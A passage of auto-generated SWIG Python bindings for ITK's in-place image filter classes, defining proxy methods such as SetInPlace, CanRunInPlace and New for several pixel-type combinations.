new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3IUS3_GetInPlace, None, itkInPlaceImageFilterIF3IUS3) itkInPlaceImageFilterIF3IUS3.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3IUS3_InPlaceOn, None, itkInPlaceImageFilterIF3IUS3) itkInPlaceImageFilterIF3IUS3.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3IUS3_InPlaceOff, None, itkInPlaceImageFilterIF3IUS3) itkInPlaceImageFilterIF3IUS3.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3IUS3_CanRunInPlace, None, itkInPlaceImageFilterIF3IUS3) itkInPlaceImageFilterIF3IUS3_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3IUS3_swigregister itkInPlaceImageFilterIF3IUS3_swigregister(itkInPlaceImageFilterIF3IUS3) def itkInPlaceImageFilterIF3IUS3_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIF3IUS3 *": """itkInPlaceImageFilterIF3IUS3_cast(itkLightObject obj) -> itkInPlaceImageFilterIF3IUS3""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF3IUS3_cast(obj) class itkInPlaceImageFilterIRGBAUC2IRGBAUC2(itkImageToImageFilterAPython.itkImageToImageFilterIRGBAUC2IRGBAUC2): """Proxy of C++ itkInPlaceImageFilterIRGBAUC2IRGBAUC2 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterIRGBAUC2IRGBAUC2 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBAUC2IRGBAUC2_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterIRGBAUC2IRGBAUC2 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBAUC2IRGBAUC2_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterIRGBAUC2IRGBAUC2 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBAUC2IRGBAUC2_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterIRGBAUC2IRGBAUC2 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBAUC2IRGBAUC2_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterIRGBAUC2IRGBAUC2 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBAUC2IRGBAUC2_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterIRGBAUC2IRGBAUC2 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIRGBAUC2IRGBAUC2 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterIRGBAUC2IRGBAUC2""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBAUC2IRGBAUC2_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterIRGBAUC2IRGBAUC2 Create a new object of the class itkInPlaceImageFilterIRGBAUC2IRGBAUC2 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterIRGBAUC2IRGBAUC2.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterIRGBAUC2IRGBAUC2.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterIRGBAUC2IRGBAUC2.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterIRGBAUC2IRGBAUC2.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBAUC2IRGBAUC2_SetInPlace, None, itkInPlaceImageFilterIRGBAUC2IRGBAUC2) itkInPlaceImageFilterIRGBAUC2IRGBAUC2.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBAUC2IRGBAUC2_GetInPlace, None, itkInPlaceImageFilterIRGBAUC2IRGBAUC2) itkInPlaceImageFilterIRGBAUC2IRGBAUC2.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBAUC2IRGBAUC2_InPlaceOn, None, itkInPlaceImageFilterIRGBAUC2IRGBAUC2) itkInPlaceImageFilterIRGBAUC2IRGBAUC2.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBAUC2IRGBAUC2_InPlaceOff, None, itkInPlaceImageFilterIRGBAUC2IRGBAUC2) itkInPlaceImageFilterIRGBAUC2IRGBAUC2.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBAUC2IRGBAUC2_CanRunInPlace, None, itkInPlaceImageFilterIRGBAUC2IRGBAUC2) itkInPlaceImageFilterIRGBAUC2IRGBAUC2_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBAUC2IRGBAUC2_swigregister itkInPlaceImageFilterIRGBAUC2IRGBAUC2_swigregister(itkInPlaceImageFilterIRGBAUC2IRGBAUC2) def itkInPlaceImageFilterIRGBAUC2IRGBAUC2_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIRGBAUC2IRGBAUC2 *": """itkInPlaceImageFilterIRGBAUC2IRGBAUC2_cast(itkLightObject obj) -> itkInPlaceImageFilterIRGBAUC2IRGBAUC2""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBAUC2IRGBAUC2_cast(obj) class itkInPlaceImageFilterIRGBAUC2IUC2(itkImageToImageFilterBPython.itkImageToImageFilterIRGBAUC2IUC2): """Proxy of C++ itkInPlaceImageFilterIRGBAUC2IUC2 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterIRGBAUC2IUC2 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBAUC2IUC2_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterIRGBAUC2IUC2 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBAUC2IUC2_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterIRGBAUC2IUC2 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBAUC2IUC2_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterIRGBAUC2IUC2 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBAUC2IUC2_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterIRGBAUC2IUC2 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBAUC2IUC2_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterIRGBAUC2IUC2 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIRGBAUC2IUC2 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterIRGBAUC2IUC2""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBAUC2IUC2_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterIRGBAUC2IUC2 Create a new object of the class itkInPlaceImageFilterIRGBAUC2IUC2 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterIRGBAUC2IUC2.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterIRGBAUC2IUC2.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterIRGBAUC2IUC2.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterIRGBAUC2IUC2.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBAUC2IUC2_SetInPlace, None, itkInPlaceImageFilterIRGBAUC2IUC2) itkInPlaceImageFilterIRGBAUC2IUC2.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBAUC2IUC2_GetInPlace, None, itkInPlaceImageFilterIRGBAUC2IUC2) itkInPlaceImageFilterIRGBAUC2IUC2.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBAUC2IUC2_InPlaceOn, None, itkInPlaceImageFilterIRGBAUC2IUC2) itkInPlaceImageFilterIRGBAUC2IUC2.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBAUC2IUC2_InPlaceOff, None, itkInPlaceImageFilterIRGBAUC2IUC2) itkInPlaceImageFilterIRGBAUC2IUC2.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBAUC2IUC2_CanRunInPlace, None, itkInPlaceImageFilterIRGBAUC2IUC2) itkInPlaceImageFilterIRGBAUC2IUC2_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBAUC2IUC2_swigregister itkInPlaceImageFilterIRGBAUC2IUC2_swigregister(itkInPlaceImageFilterIRGBAUC2IUC2) def itkInPlaceImageFilterIRGBAUC2IUC2_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIRGBAUC2IUC2 *": """itkInPlaceImageFilterIRGBAUC2IUC2_cast(itkLightObject obj) -> itkInPlaceImageFilterIRGBAUC2IUC2""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBAUC2IUC2_cast(obj) class itkInPlaceImageFilterIRGBAUC3IRGBAUC3(itkImageToImageFilterAPython.itkImageToImageFilterIRGBAUC3IRGBAUC3): """Proxy of C++ itkInPlaceImageFilterIRGBAUC3IRGBAUC3 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterIRGBAUC3IRGBAUC3 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBAUC3IRGBAUC3_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterIRGBAUC3IRGBAUC3 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBAUC3IRGBAUC3_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterIRGBAUC3IRGBAUC3 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBAUC3IRGBAUC3_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterIRGBAUC3IRGBAUC3 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBAUC3IRGBAUC3_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterIRGBAUC3IRGBAUC3 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBAUC3IRGBAUC3_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterIRGBAUC3IRGBAUC3 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIRGBAUC3IRGBAUC3 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterIRGBAUC3IRGBAUC3""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBAUC3IRGBAUC3_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterIRGBAUC3IRGBAUC3 Create a new object of the class itkInPlaceImageFilterIRGBAUC3IRGBAUC3 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterIRGBAUC3IRGBAUC3.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterIRGBAUC3IRGBAUC3.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterIRGBAUC3IRGBAUC3.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterIRGBAUC3IRGBAUC3.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBAUC3IRGBAUC3_SetInPlace, None, itkInPlaceImageFilterIRGBAUC3IRGBAUC3) itkInPlaceImageFilterIRGBAUC3IRGBAUC3.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBAUC3IRGBAUC3_GetInPlace, None, itkInPlaceImageFilterIRGBAUC3IRGBAUC3) itkInPlaceImageFilterIRGBAUC3IRGBAUC3.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBAUC3IRGBAUC3_InPlaceOn, None, itkInPlaceImageFilterIRGBAUC3IRGBAUC3) itkInPlaceImageFilterIRGBAUC3IRGBAUC3.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBAUC3IRGBAUC3_InPlaceOff, None, itkInPlaceImageFilterIRGBAUC3IRGBAUC3) itkInPlaceImageFilterIRGBAUC3IRGBAUC3.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBAUC3IRGBAUC3_CanRunInPlace, None, itkInPlaceImageFilterIRGBAUC3IRGBAUC3) itkInPlaceImageFilterIRGBAUC3IRGBAUC3_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBAUC3IRGBAUC3_swigregister itkInPlaceImageFilterIRGBAUC3IRGBAUC3_swigregister(itkInPlaceImageFilterIRGBAUC3IRGBAUC3) def itkInPlaceImageFilterIRGBAUC3IRGBAUC3_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIRGBAUC3IRGBAUC3 *": """itkInPlaceImageFilterIRGBAUC3IRGBAUC3_cast(itkLightObject obj) -> itkInPlaceImageFilterIRGBAUC3IRGBAUC3""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBAUC3IRGBAUC3_cast(obj) class itkInPlaceImageFilterIRGBAUC3IUC3(itkImageToImageFilterBPython.itkImageToImageFilterIRGBAUC3IUC3): """Proxy of C++ itkInPlaceImageFilterIRGBAUC3IUC3 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterIRGBAUC3IUC3 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBAUC3IUC3_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterIRGBAUC3IUC3 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBAUC3IUC3_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterIRGBAUC3IUC3 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBAUC3IUC3_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterIRGBAUC3IUC3 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBAUC3IUC3_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterIRGBAUC3IUC3 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBAUC3IUC3_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterIRGBAUC3IUC3 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIRGBAUC3IUC3 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterIRGBAUC3IUC3""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBAUC3IUC3_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterIRGBAUC3IUC3 Create a new object of the class itkInPlaceImageFilterIRGBAUC3IUC3 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterIRGBAUC3IUC3.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterIRGBAUC3IUC3.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterIRGBAUC3IUC3.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterIRGBAUC3IUC3.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBAUC3IUC3_SetInPlace, None, itkInPlaceImageFilterIRGBAUC3IUC3) itkInPlaceImageFilterIRGBAUC3IUC3.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBAUC3IUC3_GetInPlace, None, itkInPlaceImageFilterIRGBAUC3IUC3) itkInPlaceImageFilterIRGBAUC3IUC3.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBAUC3IUC3_InPlaceOn, None, itkInPlaceImageFilterIRGBAUC3IUC3) itkInPlaceImageFilterIRGBAUC3IUC3.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBAUC3IUC3_InPlaceOff, None, itkInPlaceImageFilterIRGBAUC3IUC3) itkInPlaceImageFilterIRGBAUC3IUC3.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBAUC3IUC3_CanRunInPlace, None, itkInPlaceImageFilterIRGBAUC3IUC3) itkInPlaceImageFilterIRGBAUC3IUC3_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBAUC3IUC3_swigregister itkInPlaceImageFilterIRGBAUC3IUC3_swigregister(itkInPlaceImageFilterIRGBAUC3IUC3) def itkInPlaceImageFilterIRGBAUC3IUC3_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIRGBAUC3IUC3 *": """itkInPlaceImageFilterIRGBAUC3IUC3_cast(itkLightObject obj) -> itkInPlaceImageFilterIRGBAUC3IUC3""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBAUC3IUC3_cast(obj) class itkInPlaceImageFilterIRGBUC2IRGBUC2(itkImageToImageFilterAPython.itkImageToImageFilterIRGBUC2IRGBUC2): """Proxy of C++ itkInPlaceImageFilterIRGBUC2IRGBUC2 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterIRGBUC2IRGBUC2 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBUC2IRGBUC2_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterIRGBUC2IRGBUC2 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBUC2IRGBUC2_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterIRGBUC2IRGBUC2 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBUC2IRGBUC2_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterIRGBUC2IRGBUC2 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBUC2IRGBUC2_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterIRGBUC2IRGBUC2 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBUC2IRGBUC2_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterIRGBUC2IRGBUC2 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIRGBUC2IRGBUC2 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterIRGBUC2IRGBUC2""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBUC2IRGBUC2_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterIRGBUC2IRGBUC2 Create a new object of the class itkInPlaceImageFilterIRGBUC2IRGBUC2 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterIRGBUC2IRGBUC2.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterIRGBUC2IRGBUC2.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterIRGBUC2IRGBUC2.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterIRGBUC2IRGBUC2.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBUC2IRGBUC2_SetInPlace, None, itkInPlaceImageFilterIRGBUC2IRGBUC2) itkInPlaceImageFilterIRGBUC2IRGBUC2.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBUC2IRGBUC2_GetInPlace, None, itkInPlaceImageFilterIRGBUC2IRGBUC2) itkInPlaceImageFilterIRGBUC2IRGBUC2.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBUC2IRGBUC2_InPlaceOn, None, itkInPlaceImageFilterIRGBUC2IRGBUC2) itkInPlaceImageFilterIRGBUC2IRGBUC2.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBUC2IRGBUC2_InPlaceOff, None, itkInPlaceImageFilterIRGBUC2IRGBUC2) itkInPlaceImageFilterIRGBUC2IRGBUC2.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBUC2IRGBUC2_CanRunInPlace, None, itkInPlaceImageFilterIRGBUC2IRGBUC2) itkInPlaceImageFilterIRGBUC2IRGBUC2_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBUC2IRGBUC2_swigregister itkInPlaceImageFilterIRGBUC2IRGBUC2_swigregister(itkInPlaceImageFilterIRGBUC2IRGBUC2) def itkInPlaceImageFilterIRGBUC2IRGBUC2_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIRGBUC2IRGBUC2 *": """itkInPlaceImageFilterIRGBUC2IRGBUC2_cast(itkLightObject obj) -> itkInPlaceImageFilterIRGBUC2IRGBUC2""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBUC2IRGBUC2_cast(obj) class itkInPlaceImageFilterIRGBUC3IRGBUC3(itkImageToImageFilterAPython.itkImageToImageFilterIRGBUC3IRGBUC3): """Proxy of C++ itkInPlaceImageFilterIRGBUC3IRGBUC3 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterIRGBUC3IRGBUC3 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBUC3IRGBUC3_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterIRGBUC3IRGBUC3 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBUC3IRGBUC3_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterIRGBUC3IRGBUC3 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBUC3IRGBUC3_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterIRGBUC3IRGBUC3 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBUC3IRGBUC3_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterIRGBUC3IRGBUC3 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBUC3IRGBUC3_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterIRGBUC3IRGBUC3 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIRGBUC3IRGBUC3 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterIRGBUC3IRGBUC3""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBUC3IRGBUC3_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterIRGBUC3IRGBUC3 Create a new object of the class itkInPlaceImageFilterIRGBUC3IRGBUC3 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterIRGBUC3IRGBUC3.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterIRGBUC3IRGBUC3.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterIRGBUC3IRGBUC3.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterIRGBUC3IRGBUC3.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBUC3IRGBUC3_SetInPlace, None, itkInPlaceImageFilterIRGBUC3IRGBUC3) itkInPlaceImageFilterIRGBUC3IRGBUC3.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBUC3IRGBUC3_GetInPlace, None, itkInPlaceImageFilterIRGBUC3IRGBUC3) itkInPlaceImageFilterIRGBUC3IRGBUC3.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBUC3IRGBUC3_InPlaceOn, None, itkInPlaceImageFilterIRGBUC3IRGBUC3) itkInPlaceImageFilterIRGBUC3IRGBUC3.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBUC3IRGBUC3_InPlaceOff, None, itkInPlaceImageFilterIRGBUC3IRGBUC3) itkInPlaceImageFilterIRGBUC3IRGBUC3.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBUC3IRGBUC3_CanRunInPlace, None, itkInPlaceImageFilterIRGBUC3IRGBUC3) itkInPlaceImageFilterIRGBUC3IRGBUC3_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBUC3IRGBUC3_swigregister itkInPlaceImageFilterIRGBUC3IRGBUC3_swigregister(itkInPlaceImageFilterIRGBUC3IRGBUC3) def itkInPlaceImageFilterIRGBUC3IRGBUC3_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIRGBUC3IRGBUC3 *": """itkInPlaceImageFilterIRGBUC3IRGBUC3_cast(itkLightObject obj) -> itkInPlaceImageFilterIRGBUC3IRGBUC3""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIRGBUC3IRGBUC3_cast(obj) class itkInPlaceImageFilterISS2IF2(itkImageToImageFilterAPython.itkImageToImageFilterISS2IF2): """Proxy of C++ itkInPlaceImageFilterISS2IF2 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterISS2IF2 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2IF2_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterISS2IF2 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2IF2_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterISS2IF2 self)""" return 